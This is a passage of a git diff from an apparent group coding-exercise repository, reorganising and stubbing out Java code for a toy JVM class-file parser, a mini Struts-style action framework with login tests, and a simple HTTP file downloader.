-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
     }
    
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
-
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/test/EmployeeV1.java b/group12/382266293/src/com/coderising/jvm/test/EmployeeV1.java
index 9a36573dd3..d36b122f60 100644
--- a/group12/382266293/src/com/coderising/jvm/test/EmployeeV1.java
+++ b/group12/382266293/src/com/coderising/jvm/test/EmployeeV1.java
@@ -1,28 +1,30 @@
 package com.coderising.jvm.test;
 
 public class EmployeeV1 {
-	
-	
+
 	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
+	private int age;
+
+	public EmployeeV1(String name, int age) {
+		this.name = name;
+		this.age = age;
+	}
+
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setAge(int age) {
+		this.age = age;
+	}
+
+	public void sayHello() {
+		System.out.println("Hello , this is class Employee ");
+	}
+
+	public static void main(String[] args) {
+		EmployeeV1 p = new EmployeeV1("Andy", 29);
+		p.sayHello();
+
+	}
 }
\ No newline at end of file
diff --git a/group12/382266293/src/com/coderising/jvm/util/Util.java b/group12/382266293/src/com/coderising/jvm/util/Util.java
index c2042deaac..1f9e087bb9 100644
--- a/group12/382266293/src/com/coderising/jvm/util/Util.java
+++ b/group12/382266293/src/com/coderising/jvm/util/Util.java
@@ -1,6 +1,11 @@
 package com.coderising.jvm.util;
 
 public class Util {
+	public static int byteToInt(byte[] codes) {
+		String s1 = byteToHexString(codes);
+		return Integer.valueOf(s1, 16).intValue();
+	}
+
 	public static String byteToHexString(byte[] codes) {
 		StringBuffer buffer = new StringBuffer();
 		for (int i = 0; i < codes.length; i++) {
@@ -14,9 +19,4 @@ public static String byteToHexString(byte[] codes) {
 		}
 		return buffer.toString();
 	}
-
-	public static int byteToInt(byte[] codes) {
-		String s1 = byteToHexString(codes);
-		return Integer.valueOf(s1, 16).intValue();
-	}
 }
diff --git a/group12/382266293/src/com/coderising/litestruts/LoginAction.java b/group12/382266293/src/com/coderising/litestruts/LoginAction.java
index 7d1cf06a48..95fd144d4d 100644
--- a/group12/382266293/src/com/coderising/litestruts/LoginAction.java
+++ b/group12/382266293/src/com/coderising/litestruts/LoginAction.java
@@ -11,6 +11,14 @@ public class LoginAction {
 	private String password;
 	private String message;
 
+	public String getName() {
+		return name;
+	}
+
+	public String getPassword() {
+		return password;
+	}
+
 	public String execute() {
 		if ("test".equals(name) && "1234".equals(password)) {
 			this.message = "login successful";
@@ -20,18 +28,6 @@ public String execute() {
 		return "fail";
 	}
 
-	public String getMessage() {
-		return this.message;
-	}
-
-	public String getName() {
-		return name;
-	}
-
-	public String getPassword() {
-		return password;
-	}
-
 	public void setName(String name) {
 		this.name = name;
 	}
@@ -39,4 +35,8 @@ public void setName(String name) {
 	public void setPassword(String password) {
 		this.password = password;
 	}
+
+	public String getMessage() {
+		return this.message;
+	}
 }
\ No newline at end of file
diff --git a/group12/382266293/src/litestruts/ActionXMLreader.java b/group12/382266293/src/litestruts/ActionXMLreader.java
index 53d815c174..92e700edc4 100644
--- a/group12/382266293/src/litestruts/ActionXMLreader.java
+++ b/group12/382266293/src/litestruts/ActionXMLreader.java
@@ -1,7 +1,6 @@
 package litestruts;
 
 import java.util.List;
-
 import org.dom4j.Document;
 import org.dom4j.DocumentException;
 import org.dom4j.Element;
diff --git a/group12/382266293/src/litestruts/Configuration.java b/group12/382266293/src/litestruts/Configuration.java
index 44b85c9b45..731a4218b0 100644
--- a/group12/382266293/src/litestruts/Configuration.java
+++ b/group12/382266293/src/litestruts/Configuration.java
@@ -1,47 +1,25 @@
 package litestruts;
 
-import static util.Print.println;
-
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.jdom2.Document;
 import org.jdom2.Element;
 import org.jdom2.JDOMException;
 import org.jdom2.input.SAXBuilder;
+import static util.Print.*;
 
 public class Configuration {
 
-	private static class ActionCfg {
-
-		String name;
-		String clz;
-		Map<String, String> viewResult = new HashMap<>();
-
-		public ActionCfg(String name, String clz) {
-			this.name = name;
-			this.clz = clz;
-		}
-
-		public void addViewResult(String result, String jsp) {
-			viewResult.put(result, jsp);
-
-		}
+	Map<String, ActionCfg> actions = new HashMap<>();
 
-		public String getClassName() {
-			return clz;
-		}
+	private static Configuration cfg = new Configuration();
 
-		public Map<String, String> getViewResult() {
-			return viewResult;
-		}
+	private Configuration() {
 
 	}
 
-	private static Configuration cfg = new Configuration();
-
 	public static Configuration getNewInstance() {
 
 		if (cfg == null) {
@@ -50,36 +28,6 @@ public static Configuration getNewInstance() {
 		return cfg;
 	}
 
-	public static void main(String[] args) {
-		Configuration cfg = new Configuration();
-		cfg.parse("struts.xml");
-		String clz = cfg.getClassName("login");
-		println(clz);
-
-	}
-
-	Map<String, ActionCfg> actions = new HashMap<>();
-
-	private Configuration() {
-
-	}
-
-	public String getClassName(String action) {
-		ActionCfg cfg = this.actions.get(action);
-		if (cfg == null) {
-			return null;
-		}
-		return cfg.getClassName();
-	}
-
-	public String getResultView(String action, String resultName) {
-		ActionCfg cfg = this.actions.get(action);
-		if (cfg == null) {
-			return null;
-		}
-		return cfg.getViewResult().get(resultName);
-	}
-
 	public void parse(String fileName) {
 
 		String src = this.getClass().getPackage().getName();
@@ -125,4 +73,54 @@ public void parseXML(InputStream is) {
 		}
 	}
 
+	public String getClassName(String action) {
+		ActionCfg cfg = this.actions.get(action);
+		if (cfg == null) {
+			return null;
+		}
+		return cfg.getClassName();
+	}
+
+	public String getResultView(String action, String resultName) {
+		ActionCfg cfg = this.actions.get(action);
+		if (cfg == null) {
+			return null;
+		}
+		return cfg.getViewResult().get(resultName);
+	}
+
+	public static void main(String[] args) {
+		Configuration cfg = new Configuration();
+		cfg.parse("struts.xml");
+		String clz = cfg.getClassName("login");
+		println(clz);
+
+	}
+
+	private static class ActionCfg {
+
+		String name;
+		String clz;
+		Map<String, String> viewResult = new HashMap<>();
+
+		public Map<String, String> getViewResult() {
+			return viewResult;
+		}
+
+		public ActionCfg(String name, String clz) {
+			this.name = name;
+			this.clz = clz;
+		}
+
+		public void addViewResult(String result, String jsp) {
+			viewResult.put(result, jsp);
+
+		}
+
+		public String getClassName() {
+			return clz;
+		}
+
+	}
+
 }
diff --git a/group12/382266293/src/litestruts/Struts.java b/group12/382266293/src/litestruts/Struts.java
index 2371cdbcd8..b84e2e6264 100644
--- a/group12/382266293/src/litestruts/Struts.java
+++ b/group12/382266293/src/litestruts/Struts.java
@@ -1,5 +1,6 @@
 package litestruts;
 
+import util.ActionXMLreader;
 import java.beans.BeanInfo;
 import java.beans.IntrospectionException;
 import java.beans.Introspector;
@@ -8,26 +9,33 @@
 import java.lang.reflect.InvocationTargetException;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.dom4j.Node;
 
-import util.ActionXMLreader;
-
 public class Struts {
 
 	private static Object actionObj = null;
 	private static String address = "src/litestruts/struts.xml";
 	private static ActionXMLreader reader = new ActionXMLreader();
 
-	private static BeanInfo getBeanInfo(Object obj) {
+	@SuppressWarnings("unchecked")
+	public static View runAction(String actionName, Map<String, String> parameters) {
 
-		BeanInfo bi = null;
-		try {
-			bi = Introspector.getBeanInfo(obj.getClass(), Object.class);
-		} catch (IntrospectionException e) {
-			e.printStackTrace();
-		}
-		return bi;
+		Node root = reader.getRootNode(address);
+		String clazz = reader.parseClass(root, actionName);
+		actionObj = getObj(clazz);
+		BeanInfo bi = getBeanInfo(actionObj);
+		PropertyDescriptor[] pd = bi.getPropertyDescriptors();
+
+		setParameters(actionObj, pd, parameters);
+		String executeResult = getResult(actionObj, bi, "execute");
+		String jsp = reader.parseResult(root, actionName, executeResult);
+		Map<String, String> readParamters = getReadParameters(actionObj, pd);
+
+		View view = new View();
+		view.setJsp(jsp);
+		view.setParameters(readParamters);
+
+		return view;
 	}
 
 	private static Object getObj(String clazz) {
@@ -45,22 +53,28 @@ private static Object getObj(String clazz) {
 		return null;
 	}
 
-	@SuppressWarnings("rawtypes")
-	public static Map getReadParameters(Object obj, PropertyDescriptor[] pd) {
+	private static BeanInfo getBeanInfo(Object obj) {
 
-		Map<String, String> viewParams = new HashMap<String, String>();
+		BeanInfo bi = null;
+		try {
+			bi = Introspector.getBeanInfo(obj.getClass(), Object.class);
+		} catch (IntrospectionException e) {
+			e.printStackTrace();
+		}
+		return bi;
+	}
+
+	private static void setParameters(Object obj, PropertyDescriptor[] pd, Map parameters) {
 
 		for (int i = 0; i < pd.length; i++) {
-			String readMethod = pd[i].getReadMethod().getName().substring(3);
-			String value = null;
-			try {
-				value = (String) pd[i].getReadMethod().invoke(obj);
-			} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-				e.printStackTrace();
-			}
-			viewParams.put(readMethod.toLowerCase(), value);
+			String name = pd[i].getName();
+			if (parameters.containsKey(name))
+				try {
+					pd[i].getWriteMethod().invoke(obj, parameters.get(name));
+				} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+					e.printStackTrace();
+				}
 		}
-		return viewParams;
 	}
 
 	private static String getResult(Object obj, BeanInfo bi, String execute) {
@@ -77,38 +91,22 @@ private static String getResult(Object obj, BeanInfo bi, String execute) {
 		return null;
 	}
 
-	@SuppressWarnings("unchecked")
-	public static View runAction(String actionName, Map<String, String> parameters) {
-
-		Node root = reader.getRootNode(address);
-		String clazz = reader.parseClass(root, actionName);
-		actionObj = getObj(clazz);
-		BeanInfo bi = getBeanInfo(actionObj);
-		PropertyDescriptor[] pd = bi.getPropertyDescriptors();
-
-		setParameters(actionObj, pd, parameters);
-		String executeResult = getResult(actionObj, bi, "execute");
-		String jsp = reader.parseResult(root, actionName, executeResult);
-		Map<String, String> readParamters = getReadParameters(actionObj, pd);
-
-		View view = new View();
-		view.setJsp(jsp);
-		view.setParameters(readParamters);
-
-		return view;
-	}
+	@SuppressWarnings("rawtypes")
+	public static Map getReadParameters(Object obj, PropertyDescriptor[] pd) {
 
-	private static void setParameters(Object obj, PropertyDescriptor[] pd, Map parameters) {
+		Map<String, String> viewParams = new HashMap<String, String>();
 
 		for (int i = 0; i < pd.length; i++) {
-			String name = pd[i].getName();
-			if (parameters.containsKey(name))
-				try {
-					pd[i].getWriteMethod().invoke(obj, parameters.get(name));
-				} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-					e.printStackTrace();
-				}
+			String readMethod = pd[i].getReadMethod().getName().substring(3);
+			String value = null;
+			try {
+				value = (String) pd[i].getReadMethod().invoke(obj);
+			} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+				e.printStackTrace();
+			}
+			viewParams.put(readMethod.toLowerCase(), value);
 		}
+		return viewParams;
 	}
 
 }
\ No newline at end of file
diff --git a/group12/382266293/src/litestruts/StrutsTest.java b/group12/382266293/src/litestruts/StrutsTest.java
index 8d70a91cb3..b450d7a935 100644
--- a/group12/382266293/src/litestruts/StrutsTest.java
+++ b/group12/382266293/src/litestruts/StrutsTest.java
@@ -9,30 +9,30 @@
 public class StrutsTest {
 
 	@Test
-	public void testLoginActionFailed() {
+	public void testLoginActionSuccess() {
+
 		String actionName = "login";
+
 		Map<String, String> params = new HashMap<String, String>();
 		params.put("name", "test");
-		params.put("password", "123456"); // 密码和预设的不一致
+		params.put("password", "1234");
 
 		View view = Struts.runAction(actionName, params);
 
-		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+		Assert.assertEquals("login successful", view.getParameters().get("message"));
 	}
 
 	@Test
-	public void testLoginActionSuccess() {
-
+	public void testLoginActionFailed() {
 		String actionName = "login";
-
 		Map<String, String> params = new HashMap<String, String>();
 		params.put("name", "test");
-		params.put("password", "1234");
+		params.put("password", "123456"); // 密码和预设的不一致
 
 		View view = Struts.runAction(actionName, params);
 
-		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-		Assert.assertEquals("login successful", view.getParameters().get("message"));
+		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
 	}
 }
diff --git a/group12/382266293/src/litestruts/View.java b/group12/382266293/src/litestruts/View.java
index 41152f3214..0c917dcb35 100644
--- a/group12/382266293/src/litestruts/View.java
+++ b/group12/382266293/src/litestruts/View.java
@@ -10,15 +10,15 @@ public String getJsp() {
 		return jsp;
 	}
 
-	public Map getParameters() {
-		return parameters;
-	}
-
 	public View setJsp(String jsp) {
 		this.jsp = jsp;
 		return this;
 	}
 
+	public Map getParameters() {
+		return parameters;
+	}
+
 	public View setParameters(Map parameters) {
 		this.parameters = parameters;
 		return this;
diff --git a/group12/382266293/src/test.java b/group12/382266293/src/test.java
index 3910b896af..b3a32d2556 100644
--- a/group12/382266293/src/test.java
+++ b/group12/382266293/src/test.java
@@ -6,7 +6,6 @@
 import java.io.InputStream;
 import java.net.URL;
 import java.util.LinkedList;
-
 import sun.net.www.protocol.http.HttpURLConnection;
 
 public class test {
@@ -17,6 +16,30 @@ public class test {
 	public static String tempName = "";
 	public static String fileName = "";
 
+	LinkedList a;
+
+	private static void createTempFile1(String from) {
+		long length = 0;
+		URL url = null;
+		HttpURLConnection conn = null;
+		try {
+			url = new URL(from);
+			conn = (HttpURLConnection) url.openConnection();
+			String file = conn.getURL().getFile();
+			fileName = file.substring(file.lastIndexOf('/') + 1);
+			tempName = fileName.substring(0, fileName.lastIndexOf('.') + 1) + "lyj";
+			length = conn.getContentLength();
+			conn.disconnect();
+		} catch (IOException e) {
+			e.printStackTrace();
+		} finally {
+			conn.disconnect();
+		}
+		tempName = downloadLocation + tempName;
+		fileName = downloadLocation + fileName;
+		bufferFile(tempName, length);
+	}
+
 	public static void bufferFile(String name, long len) {
 
 		FileOutputStream temp = null;
@@ -43,28 +66,6 @@ public static void bufferFile(String name, long len) {
 		}
 	}
 
-	private static void createTempFile1(String from) {
-		long length = 0;
-		URL url = null;
-		HttpURLConnection conn = null;
-		try {
-			url = new URL(from);
-			conn = (HttpURLConnection) url.openConnection();
-			String file = conn.getURL().getFile();
-			fileName = file.substring(file.lastIndexOf('/') + 1);
-			tempName = fileName.substring(0, fileName.lastIndexOf('.') + 1) + "lyj";
-			length = conn.getContentLength();
-			conn.disconnect();
-		} catch (IOException e) {
-			e.printStackTrace();
-		} finally {
-			conn.disconnect();
-		}
-		tempName = downloadLocation + tempName;
-		fileName = downloadLocation + fileName;
-		bufferFile(tempName, length);
-	}
-
 	public static void download(String src) {
 		createTempFile1(src);
 
@@ -94,12 +95,6 @@ public static void download(String src) {
 
 	}
 
-	public static void main(String[] args) throws IOException {
-
-		download(url2);
-
-	}
-
 	public static boolean rename(String temp) {
 		File file = new File(temp);
 		File f1 = new File(fileName);
@@ -112,6 +107,10 @@ public static boolean rename(String temp) {
 		return false;
 	}
 
-	LinkedList a;
+	public static void main(String[] args) throws IOException {
+
+		download(url2);
+
+	}
 
 }
diff --git a/group12/446031103/src/com/coderising/jvm/attr/AttributeInfo.java b/group12/446031103/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 88f60c77f6..0000000000
--- a/group12/446031103/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/CodeAttr.java b/group12/446031103/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index ee7d423c3b..0000000000
--- a/group12/446031103/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		//this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		
-		
-		return null;
-	}
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-	
-	
-	
-	
-}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/LineNumberTable.java b/group12/446031103/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index d88752e323..0000000000
--- a/group12/446031103/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	
-
-}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/LocalVariableItem.java b/group12/446031103/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 962c3b8bc4..0000000000
--- a/group12/446031103/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/LocalVariableTable.java b/group12/446031103/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index e4d3df0e77..0000000000
--- a/group12/446031103/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	
-}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/StackMapTable.java b/group12/446031103/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 18f2ad0360..0000000000
--- a/group12/446031103/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group12/446031103/src/com/coderising/jvm/field/Field.java b/group12/446031103/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index 0d1c64587c..0000000000
--- a/group12/446031103/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,33 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		return null;
-	}
-
-}
diff --git a/group12/446031103/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group12/446031103/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 6fb5570dff..9c9fac2839 100644
--- a/group12/446031103/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group12/446031103/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -1,57 +1,5 @@
 package com.coderising.jvm.loader;
 
-import java.util.Arrays;
+public class ByteCodeIterator {
 
-import com.coderising.jvm.util.Util;
-
-public  class ByteCodeIterator {
-	byte[] codes;
-	int pos = 0;
-
-	ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-
-	
-
-	public byte[] getBytes(int len) {
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-
-	public int nextU1toInt() {
-
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-	}
-
-	public String nextU4ToHexString() {
-		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
-	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-
-	public void back(int n) {
-		this.pos -= n;
-	}
 }
diff --git a/group12/446031103/src/com/coderising/jvm/loader/ClassFileLoader.java b/group12/446031103/src/com/coderising/jvm/loader/ClassFileLoader.java
index 070a0ba10b..33185d8175 100644
--- a/group12/446031103/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group12/446031103/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -9,7 +9,7 @@
 import java.util.List;
 
 import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang.StringUtils;
+import org.apache.commons.lang3.StringUtils;
 
 import com.coderising.jvm.clz.ClassFile;
 
diff --git a/group12/446031103/src/com/coderising/jvm/loader/ClassFileParser.java b/group12/446031103/src/com/coderising/jvm/loader/ClassFileParser.java
index a30cb22ad1..8e29f14a0c 100644
--- a/group12/446031103/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group12/446031103/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -13,139 +13,32 @@
 import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
 
 public class ClassFileParser {
 
 	public ClassFile parse(byte[] codes) {
 
 		
-		ClassFile clzFile = new ClassFile();
-
-		ByteCodeIterator iter = new ByteCodeIterator(codes);
-
-		String magicNumber = iter.nextU4ToHexString();
-
-		if (!"cafebabe".equals(magicNumber)) {
-			return null;
-		}
-
-		clzFile.setMinorVersion(iter.nextU2ToInt());
-		clzFile.setMajorVersion(iter.nextU2ToInt());
-
-		ConstantPool pool = parseConstantPool(iter);
-		clzFile.setConstPool(pool);
-
-		AccessFlag flag = parseAccessFlag(iter);
-		clzFile.setAccessFlag(flag);
-
-		ClassIndex clzIndex = parseClassInfex(iter);
-		clzFile.setClassIndex(clzIndex);
-
-		parseInterfaces(iter);
-
 		
-		return clzFile;
+
+		return null;
 	}
 
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
 
-		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
-		// System.out.println("Is public class: " + flag.isPublicClass());
-		// System.out.println("Is final class : " + flag.isFinalClass());
-
-		return flag;
+		return null;
 	}
 
 	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
 
-		int thisClassIndex = iter.nextU2ToInt();
-		int superClassIndex = iter.nextU2ToInt();
-
-		ClassIndex clzIndex = new ClassIndex();
-
-		clzIndex.setThisClassIndex(thisClassIndex);
-		clzIndex.setSuperClassIndex(superClassIndex);
-
-		return clzIndex;
+		return null;
 
 	}
 
 	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 
-		int constPoolCount = iter.nextU2ToInt();
-
-		System.out.println("Constant Pool Count :" + constPoolCount);
-
-		ConstantPool pool = new ConstantPool();
-		
-		pool.addConstantInfo(new NullConstantInfo());
-		
-		for (int i = 1; i <= constPoolCount - 1; i++) {
-
-			int tag = iter.nextU1toInt();
-			
-			if (tag == 7) {
-				// Class Info
-				int utf8Index = iter.nextU2ToInt();
-				ClassInfo clzInfo = new ClassInfo(pool);
-				clzInfo.setUtf8Index(utf8Index);
-
-				pool.addConstantInfo(clzInfo);
-			} else if (tag == 1) {
-				// UTF-8 String
-				int len = iter.nextU2ToInt();
-				byte[] data = iter.getBytes(len);
-				String value = null;
-				try {
-					value = new String(data, "UTF-8");
-				} catch (UnsupportedEncodingException e) {
-					e.printStackTrace();
-				}
-
-				UTF8Info utf8Str = new UTF8Info(pool);
-				utf8Str.setLength(len);
-				utf8Str.setValue(value);
-				pool.addConstantInfo(utf8Str);
-			}else if (tag == 8) {
-				StringInfo info = new StringInfo(pool);
-				info.setIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(info);
-			} else if (tag == 9) {
-				FieldRefInfo field = new FieldRefInfo(pool);
-				field.setClassInfoIndex(iter.nextU2ToInt());
-				field.setNameAndTypeIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(field);
-			} else if (tag == 10) {
-				// MethodRef
-				MethodRefInfo method = new MethodRefInfo(pool);
-				method.setClassInfoIndex(iter.nextU2ToInt());
-				method.setNameAndTypeIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(method);
-			} else if (tag == 12) {
